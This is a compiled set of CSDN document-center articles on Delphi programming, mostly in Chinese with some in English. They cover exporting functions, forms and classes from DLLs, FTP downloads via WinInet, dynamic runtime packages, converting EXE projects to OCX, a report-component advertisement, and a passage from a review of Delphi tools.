而DLL的方法最为方便。我现整理了一些这方面资料，希望能帮助一些有需要的同学（记得我刚学时，请人教是一不可想象的事）。

//（Copy source book）

一.函数过程的写法:

library FIRSTDLL;

uses
SysUtils,
Classes;

{$R *.RES}
// 1.定义函数具体过程和输出接口方式
// --------------------------------
// 函数 1
// 功能：事数据3倍放大函数
// --------------------------------
function BBnToSSnn(SourceResult:Integer):Integer;stdCall;
begin
if SourceResult>0 then
Result:=SourceResult+3 //结果存放于Result
else
Result:=SourceResult;
end;

exports
BBnToSSnn; //2.函数输出口定义

end.

==
==

二.在DLL中创建Form
=======================
1.一步,创建DLL工程,及加入设置好的Form

library MGRPERSN;
uses
SysUtils,
Classes,
MGRPERFM in 'MGRPERFM.pas' {FormPERSON};//1.Form的代码(与一般的Form一样)

{$R *.RES}
exports
ShowPerSN;//2.函数输出口定义
begin
end.

2. 在DLL设定的Form的设置
===========================================
unit MGRPERFM;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, ToolWin, ImgList;

type
TFormPERSON = class(TForm)
private
{ Private declarations }
public
{ Public declarations }
end;

//些处的变量不再用，给其改个地方，如下(改变之一)
//var
// FormPERSON: TFormPERSON;

{宣布Form函数出口}//改变之二
function ShowPerSN(AHandle: THandle; ACaption: String):BOOL; StdCall;

implementation

{$R *.DFM}
//函数据过程定义
function ShowPerSN(AHandle: THandle; ACaption: String):BOOL;
var
FormPERSON: TFormPERSON; //定义窗体类(上面的放到了此处)
begin
//拷贝应用程式句柄给DLL的应有程式对象
Application.Handle := AHandle;
FormPERSON := TFormPERSON.Create(Application);//创建控件TForm
try
FormPERSON.Caption := ACaption;
FormPERSON.ShowModal;//显示此Form
Result := False; //反回成功值
finally
FormPERSON.Free;
end;
end;

三.DLL中函数及窗体的调用
==========================
1.调用方法一
--------------
implementation //在此的下方写明调用函数的DLL

{$R *.DFM}
//DLL内函数调用
function BBnToSSnn(SourceResult:Integer):Integer;
StdCall external 'FIRSTDLL.DLL';

........

2.调用方法二
==============
type //在此创建一个函数类
// 1 -------------------------------
TShowPerSN = function (AHandle: THandle; ACaption: String): BOOL; StdCall;
EDLLLoadError = class(Exception);//同时分创建一个出错记录类
// 1 -------------------------------
TMAINCLTR = class(TForm) //这里不变,系统自动生成

......

procedure TMAINCLTR.ToolButton1Click(Sender: TObject);
var //按钮的调用事件:调用过程
LibHandle: THandle;
ShowPerSN: TShowPerSN;
begin
Application.Title:='人力资源管理系统DLL文件测试程式';
{ Attempt to load the DLL 尝试装入DLL文件}
LibHandle := LoadLibrary('MGRPERSN.DLL');
try
if LibHandle = 0 then
raise EDLLLoadError.Create('无法成功装入MGRPERSN.DLL');
@ShowPerSN := GetProcAddress(LibHandle, 'ShowPerSN');
if not (@ShowPerSN = nil) then
ShowPerSN(Application.Handle, '人事资料管理')//呼叫出窗体
else
RaiseLastWin32Error;
finally
FreeLibrary(LibHandle); // Unload the DLL.
end;
end;
============== END ==================


CSDN_文档中心_DLL文件中Form的使用

主题:DLL文件中Form的使用(2)

贴出此文之前，未查阅过任何相似文章，如有相同，敬请见谅，并告示(注:本人曾就同一DLL中一窗体调用附窗体，如何实现之问题，请教过一前辈，但前辈笑笑未言)，此为我在写动态元件时想到的一方法，结果通过,各位见谅。我为初学，而求学路见艰难，贴出只望对象我一样初学者给点帮助，无他。
library DLLPJ;

uses
SysUtils,
Classes,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};

{$R *.res}

exports
ShowMainPRGWin;

begin
end.
----------
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Unit2,Dialogs, StdCtrls;
//1.附窗体单元加在此处
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
Form2: TForm2; //2.附窗体定义在此处
// Declare the export function of windows of the main DLL
function ShowMainPRGWin(AHandle:THandle):BOOL;StdCall;

implementation

{$R *.dfm}
function ShowMainPRGWin(AHandle:THandle):BOOL;
begin
Form1:=TForm1.Create(Application);
Form2:=TForm2.Create(Application); //3.创建附窗体
try
Form1.ShowModal;
Result:=False;
Finally
Form1.Free;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
Form2.ShowModal;//4.在主窗体上调用附窗体
end;

end.
------------
unit Unit2;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm2 = class(TForm)
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form2: TForm2;

implementation

{$R *.dfm}

end.
----------
//在其他窗体上调用DLL的定义及方法
procedure ShowMainPRGWin(AHandle:THandle);StdCall External 'DLLPJ.DLL';

ShowMainPRGWin(1);


CSDN_文档中心_Dll中导出类--Delphi实战之一

Dll中导出类--Delphi实战之一

作者: Musicwind®

创建时间: 2001-11-01

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

更新历史：No.1

更新时间：2001-11-01 20:09

更新人员：Musicwind®

更新备注：初稿完成。

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

摘要：

本文讨论的是如何在Dll中导出类——基于某个特定的抽象类的许多子类。这种技术运用了多态的思想，使得我们得到类似于插件的效果。

预期读者：

了解多态的概念；了解元类的概念。

技术难度：

6/10。

从Dll中导出类，想必大家首先想到的是使用bpl包。这种方式有一个不好，那就是使用者必须清楚这个包中含有那些类，也就是说必须知道类的名字——这在一定意义上是个限制，试想一种情况，使用者定义了一个底层的抽象类(abstract class)，然后在此基础上定义了许多应用类(concrete class)，那么，对于使用者来说，他希望在不知道具体有哪些类的情况下能使用这些类——这么说似乎有些玄，但实际情况确实如此，因为定义抽象类的时候并不能预料到以后会有多少个具体类——那么这样的需求，要靠什么样的技术来实现呢？

其实实现的技术的难度并不大——作者在此将自己实践的经验献给大家，算作抛砖引玉，希望能看到其他更好的方法！

以下先介绍该方法涉及的一些基础知识，然后用一个例子来说明具体的实现。

一、基本概念

元类(meta class)，也叫类引用类型(class-reference type)，可以看成是一种类的类型，以该类型声明的变量的值代表一个类。比如：

type

TClass = Class of TObject；

这样就声明了一个元类的类型。然后可以有这样的变量声明：

Var

AClass: TClass;

那么，就可以有这样的用法：

AClass := TObject;

或者：

AClass := TButton;

或者：

AClass := TForm;

等等。

因为TClass是一个TObject类型的元类，而TButton，TForm等都是自TObject派生而来，因而TButton和TForm这样的值对于AClass都是可接受的。

然后，我们就可以运用多态的思想，灵活运用AClass这个类变量了。而这一点也正是下文具体实现的基础知识。

二、具体实现

第一步，建立一个抽象类：

我们使用这样一个简单的声明，该抽象类只提供了一种抽象方法，但并不影响我们描述问题：

TMyBaseForm = Class(TForm)

protected

function GetTitle: pchar; virtual; abstract;

end;

MyBaseFormClass = Class of TMyBaseForm;

暂不探讨这么一个抽象类提供了多少可供实用的方法和接口，因为我们要讨论的是一种技术上的可行性。假设作者定义此接口的初衷只是希望获得任意多变化的Title，而具体GetTitle的返回值是什么需要靠子类来实现。并且，作者还希望子类的代码放在Dll中实现，与主程序分离——这样的方式很有些插件的味道，或许还能实现Plug&Play的某些特性——是不是挺吸引人啊？那么，下一不应该怎么做呢？

首先主程序和Dll程序应当将上述声明的单元包含进来，然后，主程序负责实现一个驱动——动态加载Dll，动态加载类；而Dll负责实现子类。

先说Dll吧，Dll应当做什么工作？

第二步，Dll中导出子类：

我们设计了以下两个导出函数：

1． function GetClassCount: integer; stdcall;

告诉调用者，本Dll中共有几个子类；

2．function GetClassTypeByIndex(const iIndex: integer;

var ClassType: MyBaseFormClass): WordBool; stdcall;

以索引方式获得具体的子类。注意，此处的ClassType的类型是MyBaseFormClass，这表明，它的值将是一个确定的自TMyBaseForm继承而来的类。

以下是它们可能的一种实现：

function GetClassCount: integer;

begin

result := 3; //表明本Dll中导出了3个类

end;

function GetClassTypeByIndex(const iIndex: integer;

var ClassType: MyBaseFormClass): WordBool;

begin

result := True;

case iIndex of

0: ClassType := TFrmTest1;

1: ClassType := TFrmTest2;

2: ClassType := TFrmTest3;

else

result := False;

end;

end;

当然，在该单元的Use列表中应当将TFrmTest1、TFrmTest2以及TFrmTest3所在的单元包含进来。而TFrmTest1的实现可以象这样：

TFrmTest1 = Class(TMyBaseForm)

protected

function GetTitle: PChar; override;

end;

function TFrmTest1.GetTitle: Pchar;

begin

result := ‘Hello from TFrmTest1’；

end;

末了，别忘了将GetClassCount和GetClassByIndex加到Exports列表中。然后，Build该Dll工程的时候，请将Project option-package 中的”使用运行包use runtime package”打勾。至于具体的原因后面讲。

至此，Dll方面的工作告一段落。

第三步，主程序驱动引擎的实现：

这一步相对来说容易些——无非是动态加载Dll，然后调用GetClassCount函数，接着调用GetClassByIndex。关键的代码：

Var AClass: TMyBaseClass;

AForm: TMyBaseForm;

I, iCount: integer;

blResult: Boolean;

begin

//略去加载动态库的部分，假定FPGetClassProc指向GetClassCount函数，FPGetClassByIndexProc指向GetClassByIndex，则：

iCount := FPGetClassProc;

for I := 0 to iCount – 1 do

begin

AClass := FPGetClassByIndex(I, blResult);

if blResult then

begin

AForm := AClass.Create(Application);

AForm.Caption := AForm.GetTitle;

AForm.Show;

end;

end;

//…

end;

注意一点，和Dll相似，创建输出文件的时候，也需要选择使用运行时间包。这是因为，如果不使用运行时间包，将导致相同的类在内存中有多个副本，因而对它们使用Is操作符的将返回False的结果。

Musicwind®@HangZhou.Zhejiang.China

2001-11-01

更多文章

[文终]


CSDN_文档中心_Download a file from a FTP Server

{**************************************************************}
The following function shows how to connect to a ftp server
and download a file.

Specify the Host, User, Password, Port, Ftp-Directory,
File on Ftp, the local file.

You need a TProgressBar to show the progress and a TLabel to
show some progress informations.

Note: The functions from wininet.dll are used.

{**************************************************************}

uses
WinInet, ComCtrls;

function FtpDownloadFile(strHost, strUser, strPwd: string;
Port: Integer; ftpDir, ftpFile, TargetFile: string; ProgressBar: TProgressBar): Boolean;

function FmtFileSize(Size: Integer): string;
begin
if Size >= $F4240 then
Result := Format('%.2f', [Size / $F4240]) + ' Mb'
else
if Size < 1000 then
Result := IntToStr(Size) + ' bytes'
else
Result := Format('%.2f', [Size / 1000]) + ' Kb';
end;

const
READ_BUFFERSIZE = 4096; // or 256, 512, ...
var
hNet, hFTP, hFile: HINTERNET;
buffer: array[0..READ_BUFFERSIZE - 1] of Char;
bufsize, dwBytesRead, fileSize: DWORD;
sRec: TWin32FindData;
strStatus: string;
LocalFile: File;
bSuccess: Boolean;
begin
Result := False;

{ Open an internet session }
hNet := InternetOpen('Program_Name', // Agent
INTERNET_OPEN_TYPE_PRECONFIG, // AccessType
nil, // ProxyName
nil, // ProxyBypass
0); // or INTERNET_FLAG_ASYNC / INTERNET_FLAG_OFFLINE

{
Agent contains the name of the application or
entity calling the Internet functions
}

{ See if connection handle is valid }
if hNet = nil then
begin
ShowMessage('Unable to get access to WinInet.Dll');
Exit;
end;

{ Connect to the FTP Server }
hFTP := InternetConnect(hNet, // Handle from InternetOpen
PChar(strHost), // FTP server
port, // (INTERNET_DEFAULT_FTP_PORT),
PChar(StrUser), // username
PChar(strPwd), // password
INTERNET_SERVICE_FTP, // FTP, HTTP, or Gopher?
0, // flag: 0 or INTERNET_FLAG_PASSIVE
0);// User defined number for callback

if hFTP = nil then
begin
InternetCloseHandle(hNet);
ShowMessage(Format('Host "%s" is not available',[strHost]));
Exit;
end;

{ Change directory }
bSuccess := FtpSetCurrentDirectory(hFTP, PChar(ftpDir));

if not bSuccess then
begin
InternetCloseHandle(hFTP);
InternetCloseHandle(hNet);
ShowMessage(Format('Cannot set directory to %s.',[ftpDir]));
Exit;
end;

{ Read size of file }
if FtpFindFirstFile(hFTP, PChar(ftpFile), sRec, 0, 0) <> nil then
begin
fileSize := sRec.nFileSizeLow;
// fileLastWritetime := sRec.lastWriteTime
end else
begin
InternetCloseHandle(hFTP);
InternetCloseHandle(hNet);
ShowMessage(Format('Cannot find file ',[ftpFile]));
Exit;
end;

{ Open the file }
hFile := FtpOpenFile(hFTP, // Handle to the ftp session
PChar(ftpFile), // filename
GENERIC_READ, // dwAccess
FTP_TRANSFER_TYPE_BINARY, // dwFlags
0); // This is the context used for callbacks.

if hFile = nil then
begin
InternetCloseHandle(hFTP);
InternetCloseHandle(hNet);
Exit;
end;

{ Create a new local file }
AssignFile(LocalFile, TargetFile);
{$i-}
Rewrite(LocalFile, 1);
{$i+}

if IOResult <> 0 then
begin
InternetCloseHandle(hFile);
InternetCloseHandle(hFTP);
InternetCloseHandle(hNet);
Exit;
end;

dwBytesRead := 0;
bufsize := READ_BUFFERSIZE;

while (bufsize > 0) do
begin
Application.ProcessMessages;

if not InternetReadFile(hFile,
@buffer, // address of a buffer that receives the data
READ_BUFFERSIZE, // number of bytes to read from the file
bufsize) then Break; // receives the actual number of bytes read

if (bufsize > 0) and (bufsize <= READ_BUFFERSIZE) then
BlockWrite(LocalFile, buffer, bufsize);
dwBytesRead := dwBytesRead + bufsize;

{ Show Progress }
ProgressBar.Position := Round(dwBytesRead * 100 / fileSize);
Form1.Label1.Caption := Format('%s of %s / %d %%',[FmtFileSize(dwBytesRead),FmtFileSize(fileSize) ,ProgressBar.Position]);
end;

CloseFile(LocalFile);

InternetCloseHandle(hFile);
InternetCloseHandle(hFTP);
InternetCloseHandle(hNet);
Result := True;
end;


CSDN_文档中心_Dynamic packages in Delphi

Dynamic packages in Delphi

Abstract:A paper on how to create and use dynamic packages in Delphi. By Vino Rodrigues.

Any discussion of advanced package use in Delphi must raise the question: Why use packages at all?

Design-time packages simplify the tasks of distributing and installing custom components. Runtime packages, which are optional, offer several advantages over conventional programming. By compiling reused code into a runtime library, you can share it among applications. For example, all of your applications -- including Delphi itself -- can access standard components through packages. Since the applications don't have separate copies of the component library bound into their executables, the executables are much smaller-saving both system resources and hard disk storage. Moreover, packages allow faster compilation because only code unique to the application is compiled with each build.

Packages are even better when they are used dynamically. Packages offer a modular library approach to developing applications. At time those modules may become an optional entity of your application. Take for example an accounting system with an optional HR module. For some installations you will need to install just the base application -- for others you will install both the base application and the HR module. This level of modularization can be easily achieved by just including the optional package to the install base. In the past this was usually achieved with dynamically loaded DLLs, but with Delphi's package technology it is easy to make your modular classes part and parcel of your application. Classes created from packages become application-owned and thus can interact with your application classes.

Runtime packages and your application

Many developers think that Delphi packages are a place to put component -- but a package can (and should) also be used to modularize an application.

To show how to use packages to modularize your application we will create an example:

  1. Create a new Delphi application with 2 forms: Form1 and Form2.
  2. Remove Form2 from the auto-created form list in the Project | Options | Forms menu dialog.
  3. Drop a button on Form1 and add the following code to the OnClick event handler:
    with TForm2.Create(Application) do
begin
  ShowModal;
  Free;
end;
  4. Remember to add Unit2 to Unit1's uses clause.
  5. Save and run the project.

We have created a simple application that shows a form with a button that shows another form when it is clicked.

But what if we wanted to create Form2 in a reusable module?

The answer is -- PACKAGES!

To create a package for Form2 we will:

  1. Open the project manager (View | Project Manager)
  2. Right-click on the Project Group and select "Add New Project..."
  3. Select "Package" from the "New" items list.
  4. You should now see the Package editor.
  5. Select the "Contains" item and press the "Add" button.
  6. Now use the "Browse..." button to select "Unit2.pas."
  7. The package should now contain the unit "Unit2.pas."
  8. Now save and compile the package.

The package is now complete. You should have a file called "package1.bpl" in your Projects BPL directory. (The BPL is the Borland Package Library; the DCP is the Delphi Compiled Package -- sort of like the DCU of a PAS file.)

That's all that need to be done to the package. We now need to compile the original application with the package option switched on.

  1. Select the project "Project1.exe" from the Project Manager by double-clicking on it.
  2. Right-click and select "Options..." (You can also select Project | Options... from the menu.
  3. Select the "Packages" tab.
  4. Check the "Build with runtime packages" check box.
  5. Edit the edit-box in the "Runtime packages" section to read: "Vcl50;Package1" and OK the options.
  6. NOTE: Do not remove Unit2 from the application.
  7. Save and run the application.

The application will run and behave just like before -- the difference can be seen in the file size. Project1.exe is now only 14K as apposed to the original 293K. If you use a resource explorer to view the contents of the EXE and the BPL you will find that both the DFM and the code for Form2 now reside in the package.

Delphi achieves this by statically linking in the package at compile time. (That's why you shouldn't remove the unit from the EXE project.)

Just think of what can be achieved by doing this: One could create data modules in packages and quickly modify their source and only distribute the new package when our data-access rules have changed, like when we move from BDE based connectivity to ADO. Or, we could create a from that show's a "this option is not available in this version" message in one package, and then a similarly named form that has functionality in a same-named package. We will then have a "Pro" and "Enterprise" version of our product without much effort.

Dynamic load and unload of packages

Statically linked DLLs and BPLs work fine in most cases, but what if we decide not to deploy the BPL? We would get a "The dynamic link library Package1.bpl could not be found in the specified path..." error and our application would stop functioning. Or what if, in our modular application, we wanted to have numerous plug-in like modules?

We need a way to dynamically link to the BPL at runtime.

With DLLs this is a simple process of using the LoadLibrary function.

function LoadLibrary(
  lpLibFileName: PChar): HMODULE; stdcall;

Once the DLL is loaded we can call exported functions and procedures within the DLL by using the GetProcAddress function.

function GetProcAddress(hModule: HMODULE;
  lpProcName: LPCSTR): FARPROC; stdcall;

We finally unload the dll by using the FreeLibrary function.

function FreeLibrary(hLibModule: HMODULE): BOOL;
  stdcall;

In this example we will dynamically load Microsoft's HtmlHelp library:

function TForm1.ApplicationEvents1Help(
  Command: Word; Data: Integer;
  var CallHelp: Boolean): Boolean;
type
  TFNHtmlHelpA = function(hwndCaller: HWND;
    pszFile: PAnsiChar; uCommand: UINT;
    dwData: DWORD): HWND; stdcall;
var
  HelpModule: HModule;
  HtmlHelp: TFNHtmlHelpA;
begin
  Result := False;
  HelpModule := LoadLibrary('HHCTRL.OCX');
  if HelpModule <> 0 then
  begin
    @HtmlHelp := GetProcAddress(HelpModule,
      'HtmlHelpA');
    if @HtmlHelp <> nil then
      Result := HtmlHelp(Application.Handle,
        PChar(Application.HelpFile),
        Command,
        Data) <> 0;
    FreeLibrary(HelpModule);
  end;
  CallHelp := False;
end;

Dynamically loaded BPLs

BPLs are just as simple. Well almost.

We dynamically load the package by using the LoadPackage function.

function LoadPackage(const Name: string): HMODULE;

We create TPersistentClass of the class we wish to instantiate by using the GetClass function.

function GetClass(const AClassName: string):
  TPersistentClass;

Instantiate an object of the loaded class and use it.

And when we are done, unload the package using the UnloadPackage procedure.

procedure UnloadPackage(Module: HMODULE);

Let us go back to our example and make a few changes:

  1. Select "Project1.exe" from the project manager.
  2. Right-click and select "Options..."
  3. Select the "Packages" tab.
  4. Remove "Package1" from the "Runtime packages" edit-box section and OK the options.
  5. On Delphi's toolbar, click on the "Remove file from project" button.
  6. Select "Unit2 | Form2" from the list and then "OK."
  7. Now go to the "Unit1.pas" source and remove Unit2 from its uses clause. (These steps are required to remove any link to Unit2 and the package we wish to load dynamically.)
  8. Go to the source of Button1's OnClick event.
  9. Add two variables of type HModule and TPersistentClass.
    var
  PackageModule: HModule;
  AClass: TPersistentClass;
  10. Load the package Package1 by using the LoadPackage function.
      PackageModule := LoadPackage('Package1.bpl');
  11. Check that the Package Module is not 0 (zero).
  12. Create a persistent class using the GetClass function, passing it the name of the form within the package as its parameter:
      AClass := GetClass('TForm2');
  13. If the persistent class is not nil, create and use an instance of the class just a before.
      with TComponentClass(AClass).Create(Application)
    as TCustomForm do
  begin
    ShowModal;
    Free;
  end;
  14. Finally, unload the package using the UnloadPackage procedure:
      UnloadPackage(PackageModule);
  15. Save the project.

Here is the complete listing of the OnClick event:

procedure TForm1.Button1Click(Sender: TObject);
var
  PackageModule: HModule;
  AClass: TPersistentClass;
begin
  PackageModule := LoadPackage('Package1.bpl');
  if PackageModule <> 0 then
  begin
    AClass := GetClass('TForm2');

    if AClass <> nil then
      with TComponentClass(AClass).Create(Application)
        as TCustomForm do
      begin
        ShowModal;
        Free;
      end;

    UnloadPackage(PackageModule);
  end;
end;

Unfortunately that's not the end of it.

The problem is that the GetClass function requires the class to be registered before the function can find it. Usually form classes and component classes that are referenced in a form declaration (instance variables) are automatically registered when the form is loaded. But the form isn't loaded yet. So where should we register the class? The answer: in the package. Each unit in the package is initialized when the package is loaded and finalized when the package is unloaded.

Let's return to our example and make a few changes:

  1. Double-click on "Package1.bpl" in the project manager; this will activate the package editor.
  2. Click on the + symbol next to "Unit2" in the "Contains" section. This will expand the unit tree.
  3. Double-click on "Unit2.pas" to activate the unit's source code.
  4. Scroll down to the end of the file and add an initialization section.
  5. Register the form's class using the RegisterClass procedure:
      RegisterClass(TForm2);
  6. Add a finalization section.
  7. Un-register the form's class using the UnRegisterClass procedure:
      UnRegisterClass(TForm2);
  8. Finally, save and compile the package.

Now we can safely run the "Project1" application - it will function just as before, but with the added benefit of being able to load the package when you want to.

Finally

Make sure you compile any project that uses packages (static or dynamic) with runtime packages turned on: "Project | Options | Packages | Build with runtime packages."

You must be careful that when you unload a package you destroy any objects using those classes and un-register any classes that were registered.

This procedure may help:

procedure DoUnloadPackage(Module: HModule);
var
  i: Integer;
  M: TMemoryBasicInformation;
begin
  { Make sure there aren't any instances of any
    of the classes from Module instantiated, if
    so then free them.  (This assumes that the
    classes are owned by the application) }

  for i := Application.ComponentCount - 1 downto 0 do
  begin
    VirtualQuery(
      GetClass(Application.Components[i].ClassName),
      M, SizeOf(M));
    if (Module = 0) or
      (HMODULE(M.AllocationBase) = Module) then
      Application.Components[i].Free;
  end;
  UnRegisterModuleClasses(Module);
  UnLoadPackage(Module);
end;

An application requires "knowledge" of the registered class names prior to loading the package. One way to improve this would be to create a registration mechanism to inform the application of all the class names registered by the package.

PRACTICAL EXAMPLES

Using multiple packages: Packages do not support cyclic referencing. That is, a unit cannot use another unit that already uses it. This makes it rather difficult to set value in the calling form.

The answer lies in using additional packages the both the calling object and the packaged object use. How else do you think we then set up "Application" as the owner to all our forms? The variable "Application" resides in Forms.pas, which in turn is packaged into VCL50.bpl. You will notice that your application compiles with VCL50 and your package requires VCL50.

We can use this methodology for our own package design.

In our third example we will design an application that shows customer information and optionally (dynamic load) shows customer orders.

Where can we start? Well, like all database applications, we will need connectivity. So we will create a main data module that will contain a TDataBase connection. Then we will place this data module in a package (I'll call it cst_main).

Now in our application we will create the customer form and use the DataModuleMain that we will statically link into our application by setting the compile with packages to include VCL50 and cst_main.

We then create a new package (cst_ordr) that will contain our customer orders form and data module and require our cst_main. We will then write code in our main application to dynamically load this package. Since the main data module is already loaded when the dynamic package gets loaded, it will use the application's instance of the main data module.

This is a schematic of how our application will function:

Using swappable packages: Another example of package usage is the creation of swappable packages. One doesn't even need to use dynamically loaded packages for this! Let us assume we have the need to distribute a trail version of our application with an expiry or trial period. How would we go about doing this?

First we would create a "splash" form -- something that would show a graphic and the word "Trial" on it that will display when the application starts up. Then we would create an "about" form that would display information about our application. Lastly, we would create a function that would be called at some time to test for expiry. Then we would bundle these two forms and the function into a package and deploy it with our trial version.

For our "paid for" version we would also create "splash" and "about" forms, remembering to put the same class names (even the case), and the test function (this one doing nothing) into a package with the same name as our trial package.

What, may you ask, will this help? Well -- just think of it -- we could distribute a trial version publicly. Then when a client purchases the application we only need to send the non-trial package. This will shrink our distribution process to only one complete install and a registered package upgrade.

Packages open up many doors in the Delphi and C++Builder development world. They enable a true modular design without the overhead of passing window handles, callbacks, and other technologies in DLLs. This in turn will shorten our development cycle for modular programming. All we need do is let Delphi's package technology do the work for us.

Download the example source code of this paper here.

By Vino Rodrigues
vinorodrigues@yahoo.com


CSDN_文档中心_etcell报表组件完美的解决了Delphi中有关报表的问题，包括数据库的报表！

etcell报表套件不但能制作各种复杂报表，还提供了数据库的简单接口，使VC++开发人员可以写很少代码，甚至不写代码就能制作出各种报表，包括数据库报表，你也可以制作自己的自定义报表...等等，详细可以看http://www.etcell.com/ 网站

昂利万报表套件是济南昂利万软件开发有限公司精心设计开发的自主软件产品，主要包括制表平台、EtCell组件、EtCell插件等一系列的COM组件。昂利万报表不单能轻轻松松的制作各种复杂报表，更重要的让软件开发（数据库开发）的界面设计和程序设计完全分离，实现软件集成！你想制作自己的自定义报表吗？你想提高软件开发效率吗？你想轻松的维护你的软件吗？如果是的话，那你还犹豫什么......


CSDN_文档中心_EXE工程和OCX工程的转化(2002/5/30 三金 版权所有)

EXE工程和OCX工程的转化(2002/5/30 三金 版权所有)

1 从EXE到OCX工程
    此类转化有一个常用的也可以说较笨的的方法，把EXE工程主Form上的所有
元素和其事件处理程序都拷贝过来。此法虽说稳妥，但麻烦的一塌糊涂。容易让
人头大。下面着重介绍一个比较快捷省事的办法，通过类的继承来实现转化。概
括来说，就是把EXE工程的主Form直接作为OCX工程的主Form,并把其父类由TForm
改为TActiveForm。详细介绍如下。

(1)准备工作
    在开始之前，最好把EXE工程的所有文件如.pas、.dfm(工程.dpr等除外)拷到
一个新的目录下。如果不想这样做，也可以把OCX工程保存到同一目录，但不要和
EXE工程重名，以免覆盖。生成一个ActiveForm(注意：此保持空白，不要往其上
放任何组件),为了便于说明，设其name为ActiveFormX,单元文件存为
ActiveFormX.pas,同时保存OCX工程。假设原来主Form的name为frmMain,单元文件
为MainForm.pas.

(2)改变继承关系
    打开MainForm.pas,找到TfrmMain类的声明部分：把TfrmMain = class(TForm)
改为TfrmMain = class(TActiveFormX)

(3)把frmMain作为工程的主Form
    打开ActiveFormX.pas,找到initialization 部分，如下所示：
initialization
  TActiveFormFactory.Create(
    ComServer,
    TActiveFormControl,
    TActiveFormX,
    Class_ActiveFormX,
    1,
    '',
    OLEMISC_SIMPLEFRAME or OLEMISC_ACTSLIKELABEL,
    tmApartment);
把第五行中TActiveFormX改为TfrmMain，这样OCX工程的主Form就成了原来EXE工程的
主Form,即TfrmMain。

(4)属性声明
     查看一下delphi源码，可以看到下面的继承链条：
  TCustomForm->TCustomActiveForm->TActiveForm
  TCustomForm->TForm
TForm的部分published属性在TActiveForm未被声明，而这些属性存在于它们共同的父
类TCustomForm中，并且在public部分。所以，你如果在属性编辑器中改变了frmMain的
这些属性，delphi就会从当前类按TActiveFormX->TCustomActiveForm->TCustomForm顺
序在published部分查找并设置这些属性，而这三个父类published部分并未包含这些属
性。这样，delphi将提示地址错误。所以，只要在TActiveFormX中声明这些属性，问题
即可解决。以On开头的事件属性也是同样的道理。打开ActiveFormX.pas,把以下代码拷
到TActiveFormX的声明部分即可。
  published
    property Action;
    property Align;
    property AlphaBlend default False;
    property AlphaBlendValue default 255;
    property BiDiMode;
    property BorderIcons;
    property BorderStyle;
    property ClientHeight;
    property ClientWidth;
    property TransparentColor default False;
    property TransparentColorValue default 0;
    property Ctl3D;
    property UseDockManager;
    property DefaultMonitor;
    property DockSite;
    property DragKind;
    property DragMode;
    property Enabled;
    property ParentFont default False;
    property FormStyle;
    property HelpFile;
    property Icon;
    property Menu;
    property ObjectMenuItem;
    property ParentBiDiMode;
    property Position;
    property Visible;
    property WindowState;
    property WindowMenu;
    property OnCanResize;
    property OnClose;
    property OnCloseQuery;
    property OnConstrainedResize;
    property OnDockDrop;
    property OnDockOver;
    property OnEndDock;
    property OnGetSiteInfo;
    property OnHide;
    property OnHelp;
    property OnMouseWheel;
    property OnMouseWheelDown;
    property OnMouseWheelUp;
    property OnResize;
    property OnShortCut;
    property OnShow;
    property OnStartDock;
    property OnUnDock;
对于上面所列的事件属性，也不必全部都声明。frmMain中有处理程序的声明一下就
行了。

(5)更改事件连接
    如果你在TfrmMain的OnPaint事件中写了代码，可以发现，这些代码是不会被执行
的。原因何在？打开ActiveFormX.pas,找到TActiveFormX的Initialize过程，可以发
现如下代码：
  inherited Initialize;
  OnActivate := ActivateEvent;
  OnClick := ClickEvent;
  OnCreate := CreateEvent;
  OnDblClick := DblClickEvent;
  OnDeactivate := DeactivateEvent;
  OnDestroy := DestroyEvent;
  OnKeyPress := KeyPressEvent;
  OnPaint := PaintEvent;
原来问题出在这里，OnPaint事件被delphi吃掉了，改成了执行PaintEvent。怎么搞？
把次行注释掉吧，然后再写一个你自己的OnPaint事件处理过程，不要忘了带参数sender。
如：procedure MyPaint(Sender:TObject);
然后在TfrmMain的OnCreat事件中赋给OnPaint就行了。如：OnPaint:=MyPaint;
上面列举的几个事件都和OnPaint类似。模仿OnPaint就ok了。

2 从OCX到EXE工程

(1)OCX工程框架
    综上所述，OCX工程最好不要把ActiveForm作为主Form,而另外生成一个普通Form
作为主Form，再按上面所说的方法进行处理。然后其它的数据操作Form也为普通Form，
被主Form调用。

(2)转化到EXE工程
   只要你按(1)做了，问题就非常好办。生成一个普通工程，把OCX工程除ActiveForm
以外的所有Form加进工程就行了。

ok,搞定！
更好更多文章尽在三金主页-天铭心草堂
http://vip.6to23.com/tianmingxin


CSDN_文档中心_Five of the best tools for Delphi

Five of the best tools for Delphi
Why you need more than an just the IDE

max kleiner

Question:

From time to time (if we have time) I have been asked, which are the best tools beside delphi, for example to design a OO-database or to make calls between instances or units visible.

Answer:

On the other side, it's difficult to find tools we don't know they exists. Anyway, I want to start with that article to make a very short introduction to keep you informed that such best tools with delphi/kylix exist and what they solve.
But before we start, here’s the disclaimer. Each tool is a complex and fully-featured product (not a component), and a review such as this can only scratch the surface, and try to give you a motivation of what the following tools are and what they can do.
By the way, Delphi is not a language it's the product so ObjectPascal IS the language and is getting more and more engineers around the world with the products Delphi, Kylix and Virtual Pascal! ;)

1. Bold for Delphi
The product Bold for Delphi (Enterprise R3.0-D5, release 3.0.1.9), provides a model-driven software development environment for Delphi developers. It means that developers can design their applications using UML (the class-diagram), and Bold will help to build a system right from the model.
Bold is designed to implement 'business object logic’. The point is that many business applications are basically the same: GUI front end, logic-based middle layer, and a database at the back end to make things memorizable. So a lot amount of duplication of design, and probably duplication of code as well. It would be very useful if there was some sort of framework to help you implement multi-tier business solutions.
